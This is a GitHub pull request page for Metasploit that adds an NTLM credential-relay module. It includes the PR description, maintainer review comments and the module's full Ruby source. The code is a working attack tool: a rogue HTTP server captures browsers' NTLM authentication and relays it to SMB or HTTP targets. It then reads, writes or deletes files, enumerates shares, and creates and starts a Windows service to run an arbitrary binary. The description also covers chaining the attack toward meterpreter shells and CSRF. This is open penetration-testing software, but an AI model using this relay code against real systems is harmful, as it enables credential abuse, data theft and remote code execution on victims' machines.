Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP

Loading…

Adding http_ntlmrelay module #589

Merged
merged 7 commits into from

3 participants

webstersprodigy Tod Beardsley James Lee
webstersprodigy

This is a generic purpose NTLM relaying module. It acts as an HTTP server, and relays the credentials forwarded by the browser to other protocols (currently SMB and HTTP). It supports multiple HTTP/SMB operations, it supports NTLMv2, and it also supports attack chaining, so the result of one attack can be used in future attacks.

I have a few test configurations available here: http://sdrv.ms/MemcNN. Here are the contents from the README:

Test Setup

In every case, there are at least two external machines involved, domain_client and domain_victim. Both are assumed to be domain joined, and have users with permission.

The attack scenario is this:

After running the module with configured options, domain_client will visit the URI and negotiate windows creds. These credentials will relay to domain_victim, performing the configured action.

These scenarios have been tested on actual sites. However, the name details have sometimes been modified, both to avoid disclosure and to make the testing scenarios easier to understand.In terms of config, I've tested this on default win server 2008r2 and win server 2003 active directories with NTLM enabled IE8/9, Firefox, and chrome connecting to the HTTP server.

In each demo directory, there are resource.rc files that contain info regarding a scenario. In order of usability complexity, these are:

  1. fileopts (relays to an smb server to list contents, write a file, read a file, remove a file, psexec)
  2. corpcard (relays to an internal website and extracts information)
  3. email_parking (relays to a different internal website and extracts information)
  4. csrf_wiki (obtains a CSRF token and cookie, and uses these in a second request to perform an operation on mediawiki)
  5. super_pwn (obtains computernames from an internal website, scans these for 445, and then relays to these for a meterpreter shell)
webstersprodigy added some commits
webstersprodigy webstersprodigy Adding http_ntlmrelay module f50843e
webstersprodigy webstersprodigy fixed a type bug with the default response c593a34
webstersprodigy webstersprodigy Improved smb_put reliability
The .write function was having issues with large files, the
connection would close or sometimes there would be errors.
I changed thefunction to act more like smb_relay and it works better.
fd009fe
modules/auxiliary/server/http_ntlmrelay.rb
((30 lines not shown))
+ # Aliases for common classes
+ XCEPT = Rex::Proto::SMB::Exceptions
+ CONST = Rex::Proto::SMB::Constants
+ NDR = Rex::Encoder::NDR
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'HTTP Client MS Credential Relayer',
+ 'Version' => '$Revision:$',
+ 'Description' => %q{
+ This module relays negotiated NTLM Credentials from an HTTP server to multiple
+ protocols (currently it supports relaying to SMB and HTTP).
+
+ Complicated custom attacks requiring multiple requests that depend on each
+ other can be written using the SYNC* options. For example, a typical CSRF
+ typical CSRF style attack might look like:
James Lee Collaborator
jlee-r7 added a note

"typical CSRF" doubled.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((56 lines not shown))
+ ],
+ 'Version' => '$Revision:$',
+ 'License' => MSF_LICENSE,
+ 'Actions' =>
+ [
+ [ 'WebServer' ]
+ ],
+ 'PassiveActions' =>
+ [
+ 'WebServer'
+ ],
+ 'DefaultAction' => 'WebServer'))
+
+ register_options([
+ OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
+ OptString.new('RTYPE', [true,
James Lee Collaborator
jlee-r7 added a note

You seem to be using this option in a manner equivalent to the meaning of Actions.

I might need some direction on this one. I need the module to always have the 'WebServer' action, and then exactly one of the 'RTYPE' actions/options. (e.g. it wouldn't be as straightforward as other modules I've looked at, like tftp_transfer_util or http_put)

Tod Beardsley Owner
todb-r7 added a note

Looks like OptEnum is the way to go on this. There's a decent OptEnum usage example in MSSQL Payload

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/rex/proto/smb/client.rb
@@ -962,7 +962,7 @@ def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
- self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, false)
+ self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
James Lee Collaborator
jlee-r7 added a note

Changing this in the library code is pretty dangerous. Will require some serious testing of other users of this method.

Since this method doesn't do anything else before or after the do_recv check, better would be to pass do_recv=false and call smb_recv_parse yourself.

Great idea. I knew this was bad, but was debating on the right way to do it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((250 lines not shown))
+ end
+
+ # relay creds to server and perform any HTTP specific attacks
+ def http_relay_toserver(hash, ser_sock = nil)
+ timeout = 20
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = {'Authorization' => "NTLM " << hash,
+ 'Connection' => 'Keep-Alive' }
+
+ if (method == 'POST')
+ theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
+ end
+
+ # HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
James Lee Collaborator
jlee-r7 added a note

typo: "thie" -> "this"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((252 lines not shown))
+ # relay creds to server and perform any HTTP specific attacks
+ def http_relay_toserver(hash, ser_sock = nil)
+ timeout = 20
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = {'Authorization' => "NTLM " << hash,
+ 'Connection' => 'Keep-Alive' }
+
+ if (method == 'POST')
+ theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
+ end
+
+ # HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
+ if datastore['HTTP_HEADERFILE'] != nil
+ print_status("Including extra headers from: #{datastore['SYNCFILE']}")
James Lee Collaborator
jlee-r7 added a note

Should SYNCFILE be HTTP_HEADERFILE here?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((255 lines not shown))
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = {'Authorization' => "NTLM " << hash,
+ 'Connection' => 'Keep-Alive' }
+
+ if (method == 'POST')
+ theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
+ end
+
+ # HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
+ if datastore['HTTP_HEADERFILE'] != nil
+ print_status("Including extra headers from: #{datastore['SYNCFILE']}")
+ #previous request might create the file, so error thrown at runtime
+ if not ::File.readable?(datastore['HTTP_HEADERFILE'])
+ print_error("SYNCFILE unreadable, aborting")
James Lee Collaborator
jlee-r7 added a note

SYNCFILE -> HTTP_HEADERFILE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((295 lines not shown))
+ ser_sock = connect(opts) if !type3
+
+ r = ser_sock.request_raw(opts)
+ resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
+
+ # Type3 processing
+ if type3
+ #check if auth was successful
+ if resp.code == 401
+ print_error("Auth not successful, returned a 401")
+ else
+ print_status("Auth successful, saving server response in database")
+ end
+ #if verbose, print the response
+ if datastore['VERBOSE']
+ print_status(resp)
James Lee Collaborator
jlee-r7 added a note

use vprint_status instead of this

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((349 lines not shown))
+ (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
+ "\x00\x00"
+ rescue ::Exception => e
+ print_error("Type 2 response not read properly from server")
+ raise e
+ end
+ ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
+ return [ntlmsspencodedblob, ser_sock]
+ end
+
+ #relay ntlm type3 SMB message
+ def smb_relay_toservert3(hash, ser_sock)
+ arg = get_hash_info(hash)
+ dhash = Rex::Text.decode_base64(hash)
+
+ blob =
James Lee Collaborator
jlee-r7 added a note

A comment documenting this constants would be nice.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((387 lines not shown))
+ failure.command = resp['Payload']['SMB'].v['Command']
+ failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
+ raise failure
+ end
+ return ser_sock
+ end
+
+ #gets a specified file from the drive
+ def smb_get(ser_sock)
+ share, path = datastore['RURIPATH'].split('\\', 2)
+ path = path
+ ser_sock.client.tree_connect(share)
+ ser_sock.client.open("\\" << path, 0x1)
+ resp = ser_sock.client.read()
+ print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
+ if datastore["VERBOSE"]
James Lee Collaborator
jlee-r7 added a note

vprint_status

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((649 lines not shown))
+ end
+
+ #function allowing some basic/common configuration in responses
+ def set_cli_200resp()
+ response = create_response(200, "OK")
+ response.headers['Proxy-Support'] = 'Session-Based-Authentication'
+
+ if (datastore['RESPPAGE'] != nil)
+ begin
+ respfile = File.open(datastore['RESPPAGE'], "rb")
+ response.body = respfile.read
+ respfile.close
+
+ type = datastore['RESPPAGE'].split('.')[-1].downcase
+ #images can be especially useful (e.g. in email signatures)
+ if type == 'png' or type == 'gif' or type == 'jpg' or type == 'jpeg'
James Lee Collaborator
jlee-r7 added a note

I think this construct is a little less awkard like so:

case type
when 'png', 'gif', 'jpg', 'jpeg'
    ...
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((273 lines not shown))
+ begin
+ File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
+ h = header.split(":")
+ theaders[h[0].strip] = h[1].strip
+ end
+ rescue ::Exception => e
+ print_error("HTTP_HEADERFILE not parsed correctly")
+ raise e
+ end
+ end
+
+ opts = {
+ 'uri' => datastore['RURIPATH'],
+ 'method' => method,
+ 'version' => '1.1',
+ 'headers' => theaders,
James Lee Collaborator
jlee-r7 added a note

There is also a 'raw_headers' option which would save you the effort of parsing above

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 was assigned
Tod Beardsley
Owner

Added a suggestion to use OptEnum instead of OptString -- other than that, looks okay to me; @jlee-r7 can you test and merge?

webstersprodigy

@todb-r7 Thanks for the suggestion, OptEnum is a better fit. Updated in the latest commit.

Tod Beardsley
Owner

The change to the SMB library looks like it impacts only one other module, and that one depends on the defaults anyway.

Thanks for the quick update, @webstersprodigy , testing now.

Tod Beardsley todb-r7 merged commit 65b29d1 into from
Tod Beardsley
Owner

FWIW, @webstersprodigy here's my commit of your module.

http://git.io/gwc0kg

Just eyeballing, there are many places to make the code more robust to exception raises, if you're inclined, but I didn't see any show stoppers in there.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Jul 10, 2012
  1. webstersprodigy
Commits on Jul 11, 2012
  1. webstersprodigy
Commits on Jul 12, 2012
  1. webstersprodigy

    Improved smb_put reliability

    webstersprodigy authored
    The .write function was having issues with large files, the
    connection would close or sometimes there would be errors.
    I changed thefunction to act more like smb_relay and it works better.
Commits on Jul 23, 2012
  1. webstersprodigy
  2. webstersprodigy
  3. webstersprodigy
Commits on Aug 21, 2012
  1. webstersprodigy
This page is out of date. Refresh to see the latest.
4 lib/rex/proto/smb/client.rb
View
@@ -937,7 +937,7 @@ def session_setup_with_ntlmssp(user = '', pass = '', domain = '', name = nil, do
# An exploit helper function for sending arbitrary SPNEGO blobs
- def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
+ def session_setup_with_ntlmssp_blob(blob = '', do_recv = true, userid = 0)
native_data = ''
native_data << self.native_os + "\x00"
native_data << self.native_lm + "\x00"
@@ -949,7 +949,7 @@ def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
pkt['Payload']['SMB'].v['WordCount'] = 12
- pkt['Payload']['SMB'].v['UserID'] = 0
+ pkt['Payload']['SMB'].v['UserID'] = userid
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
669 modules/auxiliary/server/http_ntlmrelay.rb
View
@@ -0,0 +1,669 @@
+##
+# $Id:$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+require 'rex/proto/ntlm/constants'
+require 'rex/proto/ntlm/message'
+require 'rex/proto/ntlm/crypt'
+require 'rex/exceptions'
+
+
+NTLM_CONST = Rex::Proto::NTLM::Constants
+NTLM_CRYPT = Rex::Proto::NTLM::Crypt
+MESSAGE = Rex::Proto::NTLM::Message
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Auxiliary::Report
+
+ # Aliases for common classes
+ XCEPT = Rex::Proto::SMB::Exceptions
+ CONST = Rex::Proto::SMB::Constants
+ NDR = Rex::Encoder::NDR
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'HTTP Client MS Credential Relayer',
+ 'Version' => '$Revision:$',
+ 'Description' => %q{
+ This module relays negotiated NTLM Credentials from an HTTP server to multiple
+ protocols (currently it supports relaying to SMB and HTTP).
+
+ Complicated custom attacks requiring multiple requests that depend on each
+ other can be written using the SYNC* options. For example, a typical CSRF
+ style attack might look like:
+
+ 1) Set an HTTP_GET request with a unique SNYNCID
+ 2) Set an HTTP_POST request with a SYNCFILE, which contains logic to look
+ through the database and parse out important values, such as the CSRF token
+ or authentication cookies. It then sets these as configuration options
+ 3) Create a web page with iframes pointing at 1 and then 2
+ },
+ 'Author' =>
+ [
+ 'Rich Lundeen <richard.lundeen[at]gmail.com>',
+ ],
+ 'Version' => '$Revision:$',
+ 'License' => MSF_LICENSE,
+ 'Actions' =>
+ [
+ [ 'WebServer' ]
+ ],
+ 'PassiveActions' =>
+ [
+ 'WebServer'
+ ],
+ 'DefaultAction' => 'WebServer'))
+
+ register_options([
+ OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
+ OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
+ [ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
+ "SMB_LS", "SMB_PWN" ]]),
+ OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
+ OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
+ OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
+ OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
+ OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),
+
+ ], self.class)
+
+ register_advanced_options([
+ OptPath.new('RESPPAGE', [false,
+ 'The file used for the server response. (Image extensions matter)', nil]),
+ OptPath.new('HTTP_HEADERFILE', [false,
+ 'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
+ OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
+ 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
+ ], self.class)
+
+ deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword',
+ 'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
+ 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
+ end
+
+ # Handles the initial requests waiting for the browser to try NTLM auth
+ def on_request_uri(cli, request)
+
+ datastore['REQUEST_IP'] = cli.peerhost
+ cli.keepalive = true;
+
+ # If the host has not started auth, send 401 authenticate with only the NTLM option
+ if(!request.headers['Authorization'])
+ response = create_response(401, "Unauthorized")
+ response.headers['WWW-Authenticate'] = "NTLM"
+ response.headers['Proxy-Support'] = 'Session-Based-Authentication'
+
+ response.body =
+ "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
+
+ cli.send_response(response)
+ return false
+ end
+ method,hash = request.headers['Authorization'].split(/\s+/,2)
+ # If the method isn't NTLM something odd is goign on.
+ # Regardless, this won't get what we want, 404 them
+ if(method != "NTLM")
+ print_status("Unrecognized Authorization header, responding with 404")
+ send_not_found(cli)
+ return false
+ end
+
+ print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
+
+ if (datastore['SYNCFILE'] != nil)
+ sync_options()
+ end
+
+ handle_relay(cli,hash)
+ end
+
+ def run
+ parse_args()
+ exploit()
+ end
+
+ #The call to handle_relay should be a victim HTTP type 1 request
+ def handle_relay(cli_sock, hash)
+ print_status("Beginning NTLM Relay...")
+ message = Rex::Text.decode_base64(hash)
+ #get type of message, which will be HTTP, SMB, ...
+ protocol = datastore['RTYPE'].split('_')[0]
+ if(message[8,1] != "\x03")
+ #Relay NTLMSSP_NETOTIATE from client to server (type 1)
+ case protocol
+ when 'HTTP'
+ resp, ser_sock = http_relay_toserver(hash)
+ t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
+ when 'SMB'
+ t2hash, ser_sock = smb_relay_toservert1(hash)
+ end
+ #goes along with above, resp is now just the hash
+ client_respheader = "NTLM " << t2hash
+
+ #Relay NTLMSSP_CHALLENGE from server to client (type 2)
+ response = create_response(401, "Unauthorized")
+ response.headers['WWW-Authenticate'] = client_respheader
+ response.headers['Proxy-Support'] = 'Session-Based-Authentication'
+
+ response.body =
+ "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
+
+ cli_sock.send_response(response)
+
+ #Get the type 3 hash from the client and relay to the server
+ cli_type3Data = cli_sock.get_once(-1, 5)
+ begin
+ cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
+ cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
+ rescue ::NoMethodError
+ print_error("Error: Type3 hash not relayed.")
+ cli_sock.close()
+ return false
+ end
+ case protocol
+ when 'HTTP'
+ resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
+ when 'SMB'
+ ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
+ #perform authenticated action
+ action = datastore['RTYPE'].split('_')[1]
+ case action
+ when 'GET'
+ resp = smb_get(ser_sock)
+ when 'PUT'
+ resp = smb_put(ser_sock)
+ when 'RM'
+ resp = smb_rm(ser_sock)
+ when 'ENUM'
+ resp = smb_enum(ser_sock)
+ when 'LS'
+ resp = smb_ls(ser_sock)
+ when 'PWN'
+ resp = smb_pwn(ser_sock, cli_sock)
+ end
+ end
+ report_info(resp, cli_type3Hash)
+
+ #close the client socket
+ response = set_cli_200resp()
+ cli_sock.send_response(response)
+ cli_sock.close()
+ if protocol == 'HTTP'
+ ser_sock.close()
+ end
+ return
+ else
+ print_error("Error: Bad NTLM sent from victim browser")
+ cli_sock.close()
+ return false
+ end
+ end
+
+ def parse_args()
+ # Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
+ if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
+ print_error("PUTDATA and FILEPUTDATA cannot both contain data")
+ raise ArgumentError
+ elsif datastore['PUTDATA'] != nil
+ datastore['FINALPUTDATA'] = datastore['PUTDATA']
+ elsif datastore['FILEPUTDATA'] != nil
+ f = File.open(datastore['FILEPUTDATA'], "rb")
+ datastore['FINALPUTDATA'] = f.read
+ f.close
+ end
+
+ if (not framework.db.active) and (not datastore['VERBOSE'])
+ print_error("No database configured and verbose disabled, info may be lost. Continuing")
+ end
+ end
+
+ # sync_options dynamically changes the arguments of a running attack
+ # this is useful for multi staged relay attacks
+ # ideally I would use a resource file but it's not easily exposed, and this is simpler
+ def sync_options()
+ print_status("Dynamically evaling local ruby file: #{datastore['SYNCFILE']}")
+ # previous request might create the file, so error thrown at runtime
+ if not ::File.readable?(datastore['SYNCFILE'])
+ print_error("SYNCFILE unreadable, aborting")
+ raise ArgumentError
+ end
+ data = ::File.read(datastore['SYNCFILE'])
+ eval(data)
+ end
+
+ # relay creds to server and perform any HTTP specific attacks
+ def http_relay_toserver(hash, ser_sock = nil)
+ timeout = 20
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
+ "Connection: Keep-Alive\r\n" )
+
+ if (method == 'POST')
+ theaders << 'Content-Length: ' <<
+ (datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
+ end
+
+ # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
+ if datastore['HTTP_HEADERFILE'] != nil
+ print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
+ #previous request might create the file, so error thrown at runtime
+ if not ::File.readable?(datastore['HTTP_HEADERFILE'])
+ print_error("HTTP_HEADERFILE unreadable, aborting")
+ raise ArgumentError
+ end
+ #read file line by line to deal with any dos/unix ending ambiguity
+ File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
+ next if header.strip == ''
+ theaders << (header) << "\r\n"
+ end
+ end
+
+ opts = {
+ 'uri' => datastore['RURIPATH'],
+ 'method' => method,
+ 'version' => '1.1',
+ }
+ if (datastore['FINALPUTDATA'] != nil)
+ #we need to get rid of an extra "\r\n"
+ theaders = theaders[0..-3]
+ opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
+ end
+ opts['SSL'] = true if datastore["RSSL"]
+ opts['raw_headers'] = theaders
+
+ ser_sock = connect(opts) if !type3
+
+ r = ser_sock.request_raw(opts)
+ resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
+
+ # Type3 processing
+ if type3
+ #check if auth was successful
+ if resp.code == 401
+ print_error("Auth not successful, returned a 401")
+ else
+ print_status("Auth successful, saving server response in database")
+ end
+ vprint_status(resp)
+ end
+ return [resp, ser_sock]
+ end
+
+ #relay ntlm type1 message for SMB
+ def smb_relay_toservert1(hash)
+ rsock = Rex::Socket::Tcp.create(
+ 'PeerHost' => datastore['RHOST'],
+ 'PeerPort' => datastore['RPORT'],
+ 'Timeout' => 3,
+ 'Context' =>
+ {
+ 'Msf' => framework,
+ 'MsfExploit'=> self,
+ }
+ )
+ if (not rsock)
+ print_error("Could not connect to target host (#{target_host})")
+ return
+ end
+ ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
+
+ if (datastore['RPORT'] == '139')
+ ser_sock.client.session_request()
+ end
+
+ blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
+ ser_sock.client.negotiate(true)
+ ser_sock.client.require_signing = false
+ resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
+ resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
+
+ #Save the user_ID for future requests
+ ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
+
+ begin
+ #lazy ntlmsspblob extraction
+ ntlmsspblob = 'NTLMSSP' <<
+ (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
+ "\x00\x00"
+ rescue ::Exception => e
+ print_error("Type 2 response not read properly from server")
+ raise e
+ end
+ ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
+ return [ntlmsspencodedblob, ser_sock]
+ end
+
+ #relay ntlm type3 SMB message
+ def smb_relay_toservert3(hash, ser_sock)
+ arg = get_hash_info(hash)
+ dhash = Rex::Text.decode_base64(hash)
+
+ #Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
+ blob =
+ "\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
+ "\x30" + Rex::Proto::NTLM::Utils.asn1encode(
+ "\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
+ "\x04" + Rex::Proto::NTLM::Utils.asn1encode(
+ dhash
+ )
+ )
+ )
+ )
+
+ resp = ser_sock.client.session_setup_with_ntlmssp_blob(
+ blob,
+ false,
+ ser_sock.client.auth_user_id
+ )
+ resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
+
+ #check if auth was successful
+ if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
+ print_status("SMB auth relay succeeded")
+ else
+ failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
+ failure.word_count = resp['Payload']['SMB'].v['WordCount']
+ failure.command = resp['Payload']['SMB'].v['Command']
+ failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
+ raise failure
+ end
+ return ser_sock
+ end
+
+ #gets a specified file from the drive
+ def smb_get(ser_sock)
+ share, path = datastore['RURIPATH'].split('\\', 2)
+ path = path
+ ser_sock.client.tree_connect(share)
+ ser_sock.client.open("\\" << path, 0x1)
+ resp = ser_sock.client.read()
+ print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
+ vprint_status("----Contents----")
+ vprint_status(resp["Payload"].v["Payload"])
+ vprint_status("----End Contents----")
+ ser_sock.client.close()
+ return resp["Payload"].v["Payload"]
+ end
+
+ #puts a specified file
+ def smb_put(ser_sock)
+ share, path = datastore['RURIPATH'].split('\\', 2)
+ path = path
+ ser_sock.client.tree_connect(share)
+
+ fd = ser_sock.open("\\#{path}", 'rwct')
+ fd << datastore['FINALPUTDATA']
+ fd.close
+
+ logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
+ print_status(logdata)
+ return logdata
+ end
+
+ #deletes a file from a share
+ def smb_rm(ser_sock)
+ share, path = datastore['RURIPATH'].split('\\', 2)
+ path = path
+ ser_sock.client.tree_connect(share)
+ ser_sock.client.delete('\\' << path)
+ logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
+ print_status(logdata)
+ return logdata
+ end
+
+ #smb share enumerator, overly simplified, just tries connecting to configured shares
+ #This could be improved by using techniques from SMB_ENUMSHARES
+ def smb_enum(ser_sock)
+ shares = []
+ datastore["SMB_SHARES"].split(",").each do |share_name|
+ begin
+ ser_sock.client.tree_connect(share_name)
+ shares << share_name
+ rescue
+ next
+ end
+ end
+ print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
+ return shares
+ end
+
+ #smb list directory
+ def smb_ls(ser_sock)
+ share, path = datastore['RURIPATH'].split('\\', 2)
+ ser_sock.client.tree_connect(share)
+ files = ser_sock.client.find_first(path << "\\*")
+
+ print_status(
+ "Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
+ )
+
+ if datastore["VERBOSE"]
+ files.each {|filename| print_status(" #{filename[0]}")}
+ end
+ return files
+ end
+
+ #start a service. This methos copies a lot of logic/code from psexec (and smb_relay)
+ def smb_pwn(ser_sock, cli_sock)
+
+ #filename is a little finicky, it needs to be in a format like
+ #"%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
+ filename = datastore['RURIPATH']
+
+ ser_sock.connect("IPC$")
+ opts = {
+ 'Msf' => framework,
+ 'MsfExploit' => self,
+ 'smb_pipeio' => 'rw',
+ 'smb_client' => ser_sock
+ }
+ uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
+ handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
+ dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
+
+ print_status("Obtraining a service manager handle...")
+ stubdata =
+ NDR.uwstring("\\\\#{datastore["RHOST"]}") +
+ NDR.long(0) +
+ NDR.long(0xF003F)
+ begin
+ response = dcerpc.call(0x0f, stubdata)
+ if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
+ scm_handle = dcerpc.last_response.stub_data[0,20]
+ end
+ rescue ::Exception => e
+ print_error("Error: #{e}")
+ return
+ end
+
+ print_status("Creating a new service")
+
+ servicename = Rex::Text::rand_text_alpha(8)
+ displayname = Rex::Text::rand_text_alpha(rand(32)+1)
+ svc_handle = nil
+
+ stubdata =
+ scm_handle +
+ NDR.wstring(servicename) +
+ NDR.uwstring(displayname) +
+ NDR.long(0x0F01FF) + # Access: MAX
+ NDR.long(0x00000110) + # Type: Interactive, Own process
+ NDR.long(0x00000003) + # Start: Demand
+ NDR.long(0x00000000) + # Errors: Ignore
+
+ NDR.wstring(filename) + # Binary Path
+ NDR.long(0) + # LoadOrderGroup
+ NDR.long(0) + # Dependencies
+ NDR.long(0) + # Service Start
+ NDR.long(0) + # Password
+ NDR.long(0) + # Password
+ NDR.long(0) + # Password
+ NDR.long(0) # Password
+
+ begin
+ response = dcerpc.call(0x0c, stubdata)
+ if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
+ svc_handle = dcerpc.last_response.stub_data[0,20]
+ svc_status = dcerpc.last_response.stub_data[24,4]
+ end
+ rescue ::Exception => e
+ print_error("Error: #{e}")
+ return
+ end
+
+ print_status("Closing service handle...")
+ begin
+ response = dcerpc.call(0x0, svc_handle)
+ rescue ::Exception
+ end
+
+ print_status("Opening service...")
+ begin
+ stubdata =
+ scm_handle +
+ NDR.wstring(servicename) +
+ NDR.long(0xF01FF)
+
+ response = dcerpc.call(0x10, stubdata)
+ if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
+ svc_handle = dcerpc.last_response.stub_data[0,20]
+ end
+ rescue ::Exception => e
+ print_error("Error: #{e}")
+ return
+ end
+
+ print_status("Starting the service...")
+ stubdata =
+ svc_handle +
+ NDR.long(0) +
+ NDR.long(0)
+ begin
+ response = dcerpc.call(0x13, stubdata)
+ if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
+ end
+ rescue ::Exception => e
+ return
+ end
+
+ print_status("Removing the service...")
+ stubdata =
+ svc_handle
+ begin
+ response = dcerpc.call(0x02, stubdata)
